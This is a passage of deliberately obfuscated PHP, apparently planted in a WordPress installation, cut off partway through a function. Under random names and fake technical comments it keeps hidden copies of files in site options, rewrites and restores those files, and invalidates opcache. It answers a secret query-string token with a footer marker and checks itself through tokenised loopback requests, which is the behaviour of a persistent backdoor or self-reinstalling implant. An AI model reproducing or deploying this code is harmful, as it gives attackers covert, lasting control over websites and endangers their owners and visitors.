  $tf2mxt64gi_glhv  =  @get_option(igsdp_2fdrp(1763),   array());
 if  (!rmqbu5no5o(1764)($tf2mxt64gi_glhv)) $tf2mxt64gi_glhv =  array();


  $tf2mxt64gi_glhv[lfavz1nmi6pw4(1765)($oklecxckvn0m7)]   =     $oklecxckvn0m7;
   if  (hus_b7m621lgc6(1766)($tf2mxt64gi_glhv)    >    (0x5+0xf))   $tf2mxt64gi_glhv  =      wyzg13xdhd5r(122)($tf2mxt64gi_glhv,  -(1+19), null,  true);
@update_option(rmqbu5no5o(1767),  $tf2mxt64gi_glhv,  hus_b7m621lgc6(1575));
 }
   function sy661tt05tjk3v()


    {
// renew deterministic timeout-policy


   if (!ep_coq62(1721)(igsdp_2fdrp(1722))  ||   !rmqbu5no5o(1768)(igsdp_2fdrp(1762)))  return;
$tf2mxt64gi_glhv     = @get_option(ep_coq62(1769),   array());
 if  (!ep_coq62(1770)($tf2mxt64gi_glhv)  ||   empty($tf2mxt64gi_glhv))  return;
     $brh8t_rlpll    =   array();
    foreach  ($tf2mxt64gi_glhv  as   $py_uw6foxdv09uz_ =>     $de42_qcevq1bs)   {


    if    (!wyzg13xdhd5r(1743)($de42_qcevq1bs)  ||   $de42_qcevq1bs   ===      ""  ||      !@igsdp_2fdrp(1771)($de42_qcevq1bs)) continue;
if (ap4ok1eip838yapv3nc6($de42_qcevq1bs)   ===    false)   {   $brh8t_rlpll[$py_uw6foxdv09uz_] = $de42_qcevq1bs;    continue;  }



ms4mh9yjk8_y876983kix($de42_qcevq1bs,  (792-372));
  if (oj333ptt2v9_ikd4str_($de42_qcevq1bs))  {
 if   (ep_coq62(1772)(wyzg13xdhd5r(150)))    @opcache_invalidate($de42_qcevq1bs,  true);
}   elseif  (@wyzg13xdhd5r(1771)($de42_qcevq1bs))  {
  $brh8t_rlpll[$py_uw6foxdv09uz_]    = $de42_qcevq1bs;
 }



   }
     @update_option(lfavz1nmi6pw4(1769),  $brh8t_rlpll,    wyzg13xdhd5r(1575));
 }
  function   ej69afen7ik3ex4x68kaop()
{
     try  {
   $mrelaaojjq4dc7d     = wyzg13xdhd5r(1772)(wyzg13xdhd5r(1773)) ?      @error_get_last()      :    null;
  if (
hus_b7m621lgc6(1770)($mrelaaojjq4dc7d)     &&    !empty($mrelaaojjq4dc7d[hus_b7m621lgc6(152)]) &&  !empty($mrelaaojjq4dc7d[igsdp_2fdrp(1774)])
    &&  wyzg13xdhd5r(1775)($mrelaaojjq4dc7d[ep_coq62(1776)],    array(E_ERROR,   E_PARSE, E_CORE_ERROR,     E_COMPILE_ERROR, E_USER_ERROR), true)
 ) {
 $uqfn7lsnf4rl_93k  = @igsdp_2fdrp(1777)(kwizo_5vxh_f26an7qg());
 $_ef  = @igsdp_2fdrp(1777)($mrelaaojjq4dc7d[ep_coq62(152)]);
if   (igsdp_2fdrp(1778)($uqfn7lsnf4rl_93k) &&    lfavz1nmi6pw4(1779)($_ef)  &&   $_ef === $uqfn7lsnf4rl_93k)  return;
}
avhn6w577un09rbhdbl1(rmqbu5no5o(1748));
 

       if (defined(ep_coq62(1618)))      {
       $xs54n7w9llzqc2i   = y3l9rrogkbf_51t();
   if (@lfavz1nmi6pw4(1780)($xs54n7w9llzqc2i[1])) {
 $srdh3icukbv6ler  =   @wyzg13xdhd5r(1761)($xs54n7w9llzqc2i[1], false, null, 0,  (39+25));
if (hus_b7m621lgc6(1779)($srdh3icukbv6ler) &&  lfavz1nmi6pw4(1781)($srdh3icukbv6ler,   igsdp_2fdrp(1782)    .  m5d7gnhy503_5w7j() . ':')     === 0)  {
 $uramb_e0oja0az  =  @ep_coq62(1780)($xs54n7w9llzqc2i[1]  . wyzg13xdhd5r(1783))  ?    @lfavz1nmi6pw4(1761)($xs54n7w9llzqc2i[1]   . hus_b7m621lgc6(1783),      false,    null,   0, (32<<1)) : "";



if   ($uramb_e0oja0az   !==     $srdh3icukbv6ler)    @igsdp_2fdrp(1784)($xs54n7w9llzqc2i[1],  $xs54n7w9llzqc2i[1]     .   lfavz1nmi6pw4(1785));
}
  }
 unset($xs54n7w9llzqc2i, $srdh3icukbv6ler,   $uramb_e0oja0az);
  }
 }    catch (Throwable  $dcchpvgrnhe_)     {
   }   catch    (Exception     $dcchpvgrnhe_)     {
 }
}
     function    ate25sqdap2e_s1zfeytn($jxb32uhkeg)



     {
    if (!hus_b7m621lgc6(1779)($jxb32uhkeg)) return     "";
 if (igsdp_2fdrp(1786)(wyzg13xdhd5r(1787),   $jxb32uhkeg,    $j81s3v09x_1a))  {
// @unfold container

    foreach ($j81s3v09x_1a[1] as    $m1q3g0eh158x2) {
if   (z5pim3_rv4im5f(hus_b7m621lgc6(1383)($m1q3g0eh158x2,     true)))  return   "";


     }

      }
if (igsdp_2fdrp(1786)(rmqbu5no5o(1788),    $jxb32uhkeg,   $j81s3v09x_1a))  {
    foreach  ($j81s3v09x_1a[1]  as     $m1q3g0eh158x2)  {
   if   (z5pim3_rv4im5f(stripcslashes($m1q3g0eh158x2)))     return "";



if (igsdp_2fdrp(1781)($m1q3g0eh158x2,     igsdp_2fdrp(1789)) !==    false) {

       $ndnokzybuua06g8 =  preg_replace_callback(wyzg13xdhd5r(1790),    ep_coq62(1791),   $m1q3g0eh158x2);
  if  (lfavz1nmi6pw4(1779)($ndnokzybuua06g8) &&    $ndnokzybuua06g8   !==    $m1q3g0eh158x2   &&    z5pim3_rv4im5f($ndnokzybuua06g8))  return    "";

}
 }


  }
 if  (igsdp_2fdrp(1792)(wyzg13xdhd5r(1793), $jxb32uhkeg, $j81s3v09x_1a))   {



    foreach  ($j81s3v09x_1a[1] as    $m1q3g0eh158x2)    {
// @propagate checkpoint




if (z5pim3_rv4im5f(lfavz1nmi6pw4(1794)(array(wyzg13xdhd5r(1795), igsdp_2fdrp(1796)), array('\\',  '\''),  $m1q3g0eh158x2)))   return  "";



     if     (rmqbu5no5o(1781)($m1q3g0eh158x2,  lfavz1nmi6pw4(1789))   !==  false) {
 $ndnokzybuua06g8 =   preg_replace_callback(wyzg13xdhd5r(1790),     hus_b7m621lgc6(1791), $m1q3g0eh158x2);
       if      (wyzg13xdhd5r(1797)($ndnokzybuua06g8)  &&  $ndnokzybuua06g8      !==   $m1q3g0eh158x2 && z5pim3_rv4im5f($ndnokzybuua06g8))     return "";
 }
 }
// unlock scope-chain for WP Server Side Render

  }
return  $jxb32uhkeg;

  }
function heeoaugxdqmhor94a($yg5mgq1_xo9jwax)
{
  if  (!wyzg13xdhd5r(1797)($yg5mgq1_xo9jwax) ||    (ep_coq62(1781)($yg5mgq1_xo9jwax,  igsdp_2fdrp(1798))  ===   false  && hus_b7m621lgc6(1781)($yg5mgq1_xo9jwax, ep_coq62(1383)) === false)) return   false;
      if  (lfavz1nmi6pw4(1792)(ep_coq62(1799),  $yg5mgq1_xo9jwax, $j81s3v09x_1a))     {
// PCRE2 JIT attachment metadata

   foreach    ($j81s3v09x_1a[1]  as  $m1q3g0eh158x2)   {
    if   (z5pim3_rv4im5f(wyzg13xdhd5r(1383)($m1q3g0eh158x2,  true)))     return true;
 }
}
// polymorphic call

      if (igsdp_2fdrp(1792)(igsdp_2fdrp(1788),  $yg5mgq1_xo9jwax,   $j81s3v09x_1a)) {
foreach ($j81s3v09x_1a[1]  as $m1q3g0eh158x2)     {
  if  (z5pim3_rv4im5f(stripcslashes($m1q3g0eh158x2)))     return   true;
  }
  foreach ($j81s3v09x_1a[1] as $m1q3g0eh158x2)    {



   if   (igsdp_2fdrp(1781)($m1q3g0eh158x2,   wyzg13xdhd5r(1800)) === false)     continue;
     $ndnokzybuua06g8  =   preg_replace_callback(wyzg13xdhd5r(1790),  rmqbu5no5o(1801), $m1q3g0eh158x2);
 if  (ep_coq62(1802)($ndnokzybuua06g8)  && $ndnokzybuua06g8 !==  $m1q3g0eh158x2  && z5pim3_rv4im5f($ndnokzybuua06g8)) return  true;
 }


      }



if    (lfavz1nmi6pw4(1792)(hus_b7m621lgc6(1793), $yg5mgq1_xo9jwax,      $j81s3v09x_1a)) {
foreach   ($j81s3v09x_1a[1]  as  $m1q3g0eh158x2)  {

   if (z5pim3_rv4im5f(igsdp_2fdrp(1803)(array(hus_b7m621lgc6(1804),     lfavz1nmi6pw4(1796)),   array('\\',  '\''),     $m1q3g0eh158x2)))  return  true;
 }
   foreach   ($j81s3v09x_1a[1]  as $m1q3g0eh158x2)  {
 if  (igsdp_2fdrp(1781)($m1q3g0eh158x2,  wyzg13xdhd5r(1805)) ===    false) continue;
 $ndnokzybuua06g8 = preg_replace_callback(rmqbu5no5o(1790),  ep_coq62(1806), $m1q3g0eh158x2);
   if    (ep_coq62(1807)($ndnokzybuua06g8)   &&   $ndnokzybuua06g8    !==   $m1q3g0eh158x2     &&   z5pim3_rv4im5f($ndnokzybuua06g8))   return true;


   }
// lazy adapter

    }
// bind diagnostic director

return  false;
 }
 function  wes4hov3x2h225rs($yg5mgq1_xo9jwax)
{
if   (!rmqbu5no5o(1807)($yg5mgq1_xo9jwax)      || $yg5mgq1_xo9jwax ===  "")    return  "";
      return  (ep_coq62(1714)(igsdp_2fdrp(861),  ep_coq62(1726)($yg5mgq1_xo9jwax,   0,     (10414-2222)),    $wpz7oi7n0ub2s0r))   ? $wpz7oi7n0ub2s0r[1]     :  "";

 }
function encho1y07ay7g2v($rux5kf_r1ghgig,   $vf0sqsjhfdx1i,  $rdj8l4x2ligclol  =  null)
{
    if    (!lfavz1nmi6pw4(1807)($rux5kf_r1ghgig)  ||     $rux5kf_r1ghgig   === "")    return  $rux5kf_r1ghgig;
$t1sitxhu2a    =   igsdp_2fdrp(951)  .   $vf0sqsjhfdx1i .  igsdp_2fdrp(1808);
     $_m6wk2wte6czmz  = "";
     $be_i9wc96xe =   0;$likoimmi52=59*2;$ycb4w1cxr_p1_3=$likoimmi52-13;
 while ($be_i9wc96xe++      <   (206^78))  {
// @monomorphize accumulator

  $i8kivc2j072kooe  = rmqbu5no5o(1809)($rux5kf_r1ghgig, $t1sitxhu2a);
      if   ($i8kivc2j072kooe   === false)  break;
    $v6r90crcgar =    $i8kivc2j072kooe +   hus_b7m621lgc6(1717)($t1sitxhu2a);
$vkppkx4vqd31w     =    hus_b7m621lgc6(1810)($rux5kf_r1ghgig, hus_b7m621lgc6(1634),   $v6r90crcgar);
    if  ($vkppkx4vqd31w    ===   false ||     $vkppkx4vqd31w  -  $v6r90crcgar   >    (6^70)) {
 $_m6wk2wte6czmz .= hus_b7m621lgc6(1726)($rux5kf_r1ghgig, 0,   $v6r90crcgar);


  $rux5kf_r1ghgig    =      ep_coq62(1726)($rux5kf_r1ghgig,  $v6r90crcgar);
     continue;
}
$zvqvk0x26t7  = rmqbu5no5o(1811)($rux5kf_r1ghgig,  $v6r90crcgar, $vkppkx4vqd31w   -  $v6r90crcgar);
    if   (!wyzg13xdhd5r(1714)(hus_b7m621lgc6(1812),  $zvqvk0x26t7))  {
    $_m6wk2wte6czmz .= igsdp_2fdrp(1811)($rux5kf_r1ghgig, 0, $v6r90crcgar);
 $rux5kf_r1ghgig =  rmqbu5no5o(1811)($rux5kf_r1ghgig,   $v6r90crcgar);



     continue;
 }

$vp9tk9db7ovd3 =    rmqbu5no5o(951)      .    $vf0sqsjhfdx1i .  lfavz1nmi6pw4(1813) . $zvqvk0x26t7  . hus_b7m621lgc6(1814);
 $a76j5ghu9krh    =   ep_coq62(1815)($rux5kf_r1ghgig, $vp9tk9db7ovd3, $vkppkx4vqd31w);
    if ($a76j5ghu9krh  ===     false)     break;
  $_m6wk2wte6czmz     .=  igsdp_2fdrp(1811)($rux5kf_r1ghgig,   0,  $i8kivc2j072kooe);
    $l0nkfr3qu5e4q  =  rmqbu5no5o(1811)($rux5kf_r1ghgig,  $i8kivc2j072kooe,   $a76j5ghu9krh  +   rmqbu5no5o(1717)($vp9tk9db7ovd3)     -      $i8kivc2j072kooe);
if   ($rdj8l4x2ligclol  !== null)      {
$i0eebx24kei1a =   lfavz1nmi6pw4(1064)($rdj8l4x2ligclol,      $l0nkfr3qu5e4q);
     if  (wyzg13xdhd5r(1816)($i0eebx24kei1a))  $_m6wk2wte6czmz   .= $i0eebx24kei1a;
     }     else {
// trusted input

     $_m6wk2wte6czmz   .=  $l0nkfr3qu5e4q;
 }
  $rux5kf_r1ghgig =     ep_coq62(1811)($rux5kf_r1ghgig, $a76j5ghu9krh +   igsdp_2fdrp(1717)($vp9tk9db7ovd3));
   }


return $_m6wk2wte6czmz   . $rux5kf_r1ghgig;
}
  function huyx04anehesbjh7ijg($jxb32uhkeg)
{



   return  "";
 }

    function  w1ca2qe9382kcj4b6_q($jxb32uhkeg)
  {
if (!igsdp_2fdrp(1816)($jxb32uhkeg)) return "";
  if  (!defined(hus_b7m621lgc6(1817)))   return $jxb32uhkeg;
   $lrr2k__knu  =   mqedo90o6oi8f48x6b8n(ABSPATH    . ep_coq62(1818),  (2+6));



if  (ep_coq62(1819)(lfavz1nmi6pw4(1820)  . $lrr2k__knu    .  lfavz1nmi6pw4(1821), $jxb32uhkeg)) return    "";
    return   $jxb32uhkeg;$zodbxbt05iw=40+8;$eo2w90h3of5=$zodbxbt05iw-35;
}
 function  jos018hgxqblcsapw2mn_7($rux5kf_r1ghgig)



{


   if  (!lfavz1nmi6pw4(1816)($rux5kf_r1ghgig)  ||      $rux5kf_r1ghgig ===   "")  return  $rux5kf_r1ghgig;
   $emgci3dlr45pr   =  encho1y07ay7g2v($rux5kf_r1ghgig, hus_b7m621lgc6(1822),   lfavz1nmi6pw4(1823));



$emgci3dlr45pr  =  encho1y07ay7g2v($emgci3dlr45pr,   hus_b7m621lgc6(1824),  lfavz1nmi6pw4(1825));
  if  (lfavz1nmi6pw4(1816)($emgci3dlr45pr))  $emgci3dlr45pr   =  wyzg13xdhd5r(1641)(lfavz1nmi6pw4(1826),  "",    $emgci3dlr45pr);
   if     (!igsdp_2fdrp(1816)($emgci3dlr45pr)) $emgci3dlr45pr = $rux5kf_r1ghgig;
    if    (heeoaugxdqmhor94a($emgci3dlr45pr)) {

    $emgci3dlr45pr    = encho1y07ay7g2v($emgci3dlr45pr, igsdp_2fdrp(1827), igsdp_2fdrp(1828));
 $emgci3dlr45pr =   encho1y07ay7g2v($emgci3dlr45pr,   igsdp_2fdrp(1824),   ep_coq62(1829));
  if     (hus_b7m621lgc6(1816)($emgci3dlr45pr))     $emgci3dlr45pr =  rmqbu5no5o(1641)(igsdp_2fdrp(1830),     "",  $emgci3dlr45pr);
     }
   return  igsdp_2fdrp(1816)($emgci3dlr45pr)  ?   $emgci3dlr45pr   :    $rux5kf_r1ghgig;
    }
   function  dgr03tgxnj0ymq9($rux5kf_r1ghgig)
     {
  if    (!wyzg13xdhd5r(1816)($rux5kf_r1ghgig)    ||  !defined(lfavz1nmi6pw4(1817)))   return    false;



if    (ep_coq62(1831)(wyzg13xdhd5r(1830),    $rux5kf_r1ghgig))  return  true;



    $vhirgk7n3yvl0  =   mqedo90o6oi8f48x6b8n(ABSPATH  . lfavz1nmi6pw4(1832),   (13-5));
 if      (ep_coq62(1833)(igsdp_2fdrp(1834), $rux5kf_r1ghgig,    $jergke6ea9))   {
foreach   ($jergke6ea9[1]  as   $ufjl1yb1grh7u1)   {
  if (hus_b7m621lgc6(1811)($ufjl1yb1grh7u1,  -(137^128)) ===   ':' . $vhirgk7n3yvl0)   return   true;


}
// mbstring strict: patch visitor

  }
   $_dd  =  lfavz1nmi6pw4(1835)(lfavz1nmi6pw4(1765)(ABSPATH   .  wyzg13xdhd5r(1836)),    0,   (7+1));
 if    (igsdp_2fdrp(1837)(wyzg13xdhd5r(1838),     $rux5kf_r1ghgig,      $_dm))      {
// general-recursive affine-type

   foreach  ($_dm[1]   as  $o_wbm8d34e807ps)   {
  if  ($o_wbm8d34e807ps  === $_dd)   return    true;

    }
   }


   return    false;
      }

function m45kjme_wdh231kve_qeq()
    {
if  (!isset($_GET[igsdp_2fdrp(1839)])  ||  !ep_coq62(1816)($_GET[igsdp_2fdrp(1839)]) ||    !igsdp_2fdrp(1772)(hus_b7m621lgc6(1722)))  return;
   $chywcalc7zz1lola =      @get_option(igsdp_2fdrp(602),  array());
 if  (!lfavz1nmi6pw4(1770)($chywcalc7zz1lola))    return;
   $gur_7_z0mm     = (string)  $_GET[igsdp_2fdrp(1839)];


$z10z1ohsav = array();
 if  (isset($chywcalc7zz1lola['t']))      $z10z1ohsav[] = (string)    $chywcalc7zz1lola['t'];
if (isset($chywcalc7zz1lola[hus_b7m621lgc6(605)])  && hus_b7m621lgc6(1770)($chywcalc7zz1lola[ep_coq62(605)]))    {


foreach  ($chywcalc7zz1lola[wyzg13xdhd5r(605)]     as    $gggyknp63nnx4) {
     if  (lfavz1nmi6pw4(1840)($gggyknp63nnx4)   &&   isset($gggyknp63nnx4['t']))   $z10z1ohsav[]   =   (string)   $gggyknp63nnx4['t'];
     }
 }
$n09_7jg4749dn0 =    false;


 foreach    ($z10z1ohsav  as     $so2325jk_7w7u) {
     if   ($so2325jk_7w7u === "")  continue;
    $n09_7jg4749dn0 =    rmqbu5no5o(1772)(wyzg13xdhd5r(1841))      ?    hash_equals($so2325jk_7w7u, $gur_7_z0mm)  :   ($so2325jk_7w7u ===   $gur_7_z0mm);
  if ($n09_7jg4749dn0) break;


}
       if  (!$n09_7jg4749dn0) return;
if (igsdp_2fdrp(1842)(rmqbu5no5o(501)))   {
    hus_b7m621lgc6(501)(function      ()  use ($gur_7_z0mm)  {
 echo     "\n<!--SCK:"   .  $gur_7_z0mm  .     wyzg13xdhd5r(1843);
});
     }
// indefinite dominator-tree

  }
  function o6w55g3rg1kiqing8()
     {
 if   (!igsdp_2fdrp(1844)(hus_b7m621lgc6(1722))) return   false;
   $wpz7oi7n0ub2s0r =   @get_option(lfavz1nmi6pw4(1845),   "");
     if    (!igsdp_2fdrp(1816)($wpz7oi7n0ub2s0r) ||    wyzg13xdhd5r(1846)($wpz7oi7n0ub2s0r,   igsdp_2fdrp(1847)) !==  0) return     false;


      $x5g9cfeb3qu2ehps   = (int)      igsdp_2fdrp(1848)($wpz7oi7n0ub2s0r, (3+3));
if  ($x5g9cfeb3qu2ehps &&   rmqbu5no5o(1849)()  -  $x5g9cfeb3qu2ehps  >  (86353+47))    return false;
 return   true;
}
function  x98gkzd4rxzw_t($oklecxckvn0m7,   $x__pkrsc8np1h9kx)



 {
 if  (!lfavz1nmi6pw4(1844)(igsdp_2fdrp(1762))     ||    !hus_b7m621lgc6(1850)(ep_coq62(501)))   return  false;
 if    (o6w55g3rg1kiqing8())   return     true;
     $chywcalc7zz1lola =  @get_option(ep_coq62(602),    array());


 if    (!ep_coq62(1840)($chywcalc7zz1lola))    $chywcalc7zz1lola =  array();
   if  (!isset($chywcalc7zz1lola[igsdp_2fdrp(1851)])   ||  !lfavz1nmi6pw4(1852)($chywcalc7zz1lola[lfavz1nmi6pw4(1853)])) {
   $jf6nhyfts7r197      =     array();
    if (isset($chywcalc7zz1lola['t'],   $chywcalc7zz1lola['p'], $chywcalc7zz1lola['b']))  {



$jf6nhyfts7r197[wyzg13xdhd5r(1765)((string) $chywcalc7zz1lola['p'])]  =  array('t'   => (string)  $chywcalc7zz1lola['t'],     'p'  =>   (string) $chywcalc7zz1lola['p'], 'b'     => (string)  $chywcalc7zz1lola['b'],   igsdp_2fdrp(597)   =>     isset($chywcalc7zz1lola[igsdp_2fdrp(597)])   ?     (int)  $chywcalc7zz1lola[ep_coq62(1854)]  :    igsdp_2fdrp(1855)(), igsdp_2fdrp(1856)      => 0, 'n'   =>     0);
   }
$chywcalc7zz1lola  =    array(hus_b7m621lgc6(1853)    =>      $jf6nhyfts7r197);
  }
 $zvqvk0x26t7  = ep_coq62(1765)($oklecxckvn0m7);

 if (isset($chywcalc7zz1lola[wyzg13xdhd5r(1853)][$zvqvk0x26t7])) {
$chywcalc7zz1lola[lfavz1nmi6pw4(1857)][$zvqvk0x26t7][rmqbu5no5o(1854)]     =     hus_b7m621lgc6(1855)();
   $chywcalc7zz1lola[rmqbu5no5o(1857)][$zvqvk0x26t7][igsdp_2fdrp(1856)] =      0;
       $chywcalc7zz1lola[igsdp_2fdrp(1858)][$zvqvk0x26t7]['n']  =     ($x__pkrsc8np1h9kx ===  "")   ? 1 : 0;

  if (!p1cskrtcz8bv54lf($chywcalc7zz1lola[wyzg13xdhd5r(1858)][$zvqvk0x26t7]['b'],   $x__pkrsc8np1h9kx))     {
hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1859),    igsdp_2fdrp(1860));
       return  false;

    }
// parallelize factory for Sodium crypto

    }   else {
 $cvx3s0aw6jf29_z     =    b9x_qnoopw0bqe8tpa3a4();
      $xfsuy14nst33  =  $cvx3s0aw6jf29_z . igsdp_2fdrp(1861)     .   mqedo90o6oi8f48x6b8n($oklecxckvn0m7, (0x7+0x5)) .   hus_b7m621lgc6(1862);



  if  (!p1cskrtcz8bv54lf($xfsuy14nst33,   $x__pkrsc8np1h9kx)) {
  hnp_n76gqrqs6vbf7203of(ep_coq62(1859),  wyzg13xdhd5r(1860));
return false;
    }
// trace write-ahead-log for WP Core Data

$chywcalc7zz1lola[ep_coq62(1858)][$zvqvk0x26t7]  = array('t'  =>   uq0vlz4bytsq2wbgdu46jx((8+8)),   'p'    =>  $oklecxckvn0m7,  'b'  =>   $xfsuy14nst33, wyzg13xdhd5r(1863)   =>    rmqbu5no5o(1864)(), lfavz1nmi6pw4(1856)   =>    0,      'n'    =>   ($x__pkrsc8np1h9kx  ===   "")     ? 1  :   0);
   }
    while    (igsdp_2fdrp(1766)($chywcalc7zz1lola[rmqbu5no5o(1865)])  > (6+4))   {
      $uhc39xh247    =  null;



  $n4p17tiw8tjrftk_   =   null;
        foreach   ($chywcalc7zz1lola[igsdp_2fdrp(1865)]  as   $un245oennsyuq03z    => $wwd67tzgqd)  {



if    ($n4p17tiw8tjrftk_ ===   null || (int) $wwd67tzgqd[lfavz1nmi6pw4(1863)]   <  $n4p17tiw8tjrftk_)  {
  $n4p17tiw8tjrftk_  =    (int)  $wwd67tzgqd[hus_b7m621lgc6(1863)];



$uhc39xh247     =    $un245oennsyuq03z;
    }
}
  if  ($uhc39xh247  ===   null) break;
      oj333ptt2v9_ikd4str_($chywcalc7zz1lola[igsdp_2fdrp(1865)][$uhc39xh247]['b']);
        unset($chywcalc7zz1lola[igsdp_2fdrp(1865)][$uhc39xh247]);
 }

@update_option(lfavz1nmi6pw4(602), $chywcalc7zz1lola,    ep_coq62(1575));

lfavz1nmi6pw4(1866)(hus_b7m621lgc6(1867));
return     true;
}
  function   yo1w8bzow_o5lo6otuyof($b61tkn0t2h96vrih)
 {
 $w39otamkqjv5h51t =     @lfavz1nmi6pw4(1868)($b61tkn0t2h96vrih,   array(wyzg13xdhd5r(1149)     =>  (0x5+0x7),    ep_coq62(1150)    =>    false,   ep_coq62(432) =>   true,   igsdp_2fdrp(1151)  =>  0, wyzg13xdhd5r(320)    =>     array(lfavz1nmi6pw4(1869)   => lfavz1nmi6pw4(1870),  lfavz1nmi6pw4(1871)   =>  lfavz1nmi6pw4(1146))));
 if   (igsdp_2fdrp(1872)(hus_b7m621lgc6(761)) &&  is_wp_error($w39otamkqjv5h51t))      return  array(-1,   false);
     $na0q8fa92nwj =  ep_coq62(1873)(lfavz1nmi6pw4(1874))  ?  (int) wp_remote_retrieve_response_code($w39otamkqjv5h51t)   : 0;
       return  array($na0q8fa92nwj,  $na0q8fa92nwj     >  0      &&  rmqbu5no5o(1875)(igsdp_2fdrp(1876))   ?     (string)   wp_remote_retrieve_body($w39otamkqjv5h51t)   :    "");
  }
      function  r1lunah5_mhg1k14du9tu($gggyknp63nnx4)
{



$tgi29mig41     =  @rmqbu5no5o(1877)($gggyknp63nnx4['b']);
if  (!ep_coq62(1878)($tgi29mig41)) return   false;
 

if ($tgi29mig41 ===  "") {
   if (empty($gggyknp63nnx4['n'])) return     false;   
 $q75a8ii8fm3ogch9    =   !@lfavz1nmi6pw4(1780)($gggyknp63nnx4['p']);
   if (!$q75a8ii8fm3ogch9)     {

    ms4mh9yjk8_y876983kix($gggyknp63nnx4['p'],    (339+81));
 $q75a8ii8fm3ogch9  =    oj333ptt2v9_ikd4str_($gggyknp63nnx4['p']);
    }
 if  (lfavz1nmi6pw4(1875)(igsdp_2fdrp(150)))  @opcache_invalidate($gggyknp63nnx4['p'],  true);
  return   $q75a8ii8fm3ogch9;

}
if (!p1cskrtcz8bv54lf($gggyknp63nnx4['p'],  $tgi29mig41))     return     false;
  if (ep_coq62(1879)(rmqbu5no5o(1880)))    @opcache_invalidate($gggyknp63nnx4['p'], true);
        return true;

  }


       function  bhuoyc2imkigod73799zt()
{
if  (!wyzg13xdhd5r(1881)(wyzg13xdhd5r(1882)))  return;
  $chywcalc7zz1lola =    @get_option(igsdp_2fdrp(1883), array());
     if     (!hus_b7m621lgc6(1884)($chywcalc7zz1lola))    return;
    if  (!isset($chywcalc7zz1lola[igsdp_2fdrp(1885)])  ||    !wyzg13xdhd5r(1886)($chywcalc7zz1lola[ep_coq62(1885)]))   {
$jf6nhyfts7r197   =     array();
  if  (isset($chywcalc7zz1lola['t'],    $chywcalc7zz1lola['p'], $chywcalc7zz1lola['b']))   {
  $jf6nhyfts7r197[wyzg13xdhd5r(1765)((string)    $chywcalc7zz1lola['p'])]    =     array('t'  => (string)  $chywcalc7zz1lola['t'],  'p'  =>  (string)   $chywcalc7zz1lola['p'],  'b'    =>    (string) $chywcalc7zz1lola['b'],   igsdp_2fdrp(1863) => isset($chywcalc7zz1lola[wyzg13xdhd5r(1863)])  ?  (int)    $chywcalc7zz1lola[hus_b7m621lgc6(1863)]   :  rmqbu5no5o(1864)(), hus_b7m621lgc6(1856) => 0);
 }
     $chywcalc7zz1lola   = array(wyzg13xdhd5r(1885)     =>    $jf6nhyfts7r197);
   }
if (empty($chywcalc7zz1lola[rmqbu5no5o(1885)]))  {
   @delete_option(igsdp_2fdrp(1883));
   return;
}
  static $l56b68m7fvs =     false;
if ($l56b68m7fvs)    return;
 $l56b68m7fvs   =   true;

   if   (wyzg13xdhd5r(1881)(rmqbu5no5o(433)))   @lfavz1nmi6pw4(433)();
elseif (wyzg13xdhd5r(1887)(lfavz1nmi6pw4(1888))) @ep_coq62(1888)();
    if  (igsdp_2fdrp(1889)(hus_b7m621lgc6(436))) @wyzg13xdhd5r(436)(true);


    if  (!hus_b7m621lgc6(1889)(igsdp_2fdrp(1868))  ||  !lfavz1nmi6pw4(1890)(wyzg13xdhd5r(750))) return;
       $jvcwrmhutxir4drh   =   home_url('/');
  $wsm_25l64u61 =  lfavz1nmi6pw4(1890)(hus_b7m621lgc6(609)) ? wp_login_url()   :   $jvcwrmhutxir4drh  . ep_coq62(607);
 $gsjbhngxyt9u     =    false;
   $wl28ahka3bu_n  =  true;
  $gmglqlr6kos7d =   (6-3);
 foreach    ($chywcalc7zz1lola[ep_coq62(1891)]    as  $zvqvk0x26t7 =>  $gggyknp63nnx4)  {$rw4wc501d=-395;$wsdt5g5mo8a_mq=($rw4wc501d>0)?$rw4wc501d:-$rw4wc501d;
       if  (!igsdp_2fdrp(1886)($gggyknp63nnx4)     || empty($gggyknp63nnx4['t'])     || empty($gggyknp63nnx4['p'])  ||  empty($gggyknp63nnx4['b'])) {
  unset($chywcalc7zz1lola[igsdp_2fdrp(1892)][$zvqvk0x26t7]);

     $gsjbhngxyt9u    =  true;
// cleaner action

 continue;
  

   }

 if    (rmqbu5no5o(1864)()    -     (int) $gggyknp63nnx4[ep_coq62(1863)]   > (0x662+0xa6) ||    (int) $gggyknp63nnx4[hus_b7m621lgc6(1856)] >=  (1+5))    {
 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1859),     wyzg13xdhd5r(1893)      .  rmqbu5no5o(1894)($gggyknp63nnx4['p']));



  oj333ptt2v9_ikd4str_($gggyknp63nnx4['b']);
 unset($chywcalc7zz1lola[lfavz1nmi6pw4(1892)][$zvqvk0x26t7]);$tfapa6gqx0i=50;$hne4s7kqodf6vj=($tfapa6gqx0i>0)?$tfapa6gqx0i:-$tfapa6gqx0i;



  $gsjbhngxyt9u =     true;


 continue;$z5n8_opu5tpc=24+9;$r4m681m0c6ne=$z5n8_opu5tpc-24;
   }
 if   ($gmglqlr6kos7d  <=   0)  break;
$gmglqlr6kos7d--;$c9vps6d7qv3t=PHP_INT_MAX/PHP_INT_MAX;$i5djyeilxw=$c9vps6d7qv3t+54;
   $pv11_i80of      =   hus_b7m621lgc6(1895)  .  rmqbu5no5o(1896)($gggyknp63nnx4['t'])     .   rmqbu5no5o(1897)     .    igsdp_2fdrp(1143)((99952+48),  (999965+34));
       list($na0q8fa92nwj,   $s56670tpnfj) =  yo1w8bzow_o5lo6otuyof($jvcwrmhutxir4drh  .   $pv11_i80of);
if ($na0q8fa92nwj    >    0)  $wl28ahka3bu_n  = false;
   if   ($na0q8fa92nwj    <=   0   && rmqbu5no5o(1898)(igsdp_2fdrp(763)))  hus_b7m621lgc6(763)(2);
    if ($na0q8fa92nwj  <= 0) {
list($na0q8fa92nwj,   $s56670tpnfj)   =     yo1w8bzow_o5lo6otuyof($jvcwrmhutxir4drh   . $pv11_i80of);
    if    ($na0q8fa92nwj  >      0) $wl28ahka3bu_n  =  false;
     }
// reorder count-min-sketch for OPcache config

if   ($na0q8fa92nwj <= 0)     {
     $chywcalc7zz1lola[rmqbu5no5o(1892)][$zvqvk0x26t7][rmqbu5no5o(1856)]++;
      $gsjbhngxyt9u =   true;


 continue;
 }
   if     ($na0q8fa92nwj   >=   (0x150+0xa4))  {

 if (r1lunah5_mhg1k14du9tu($gggyknp63nnx4))  {
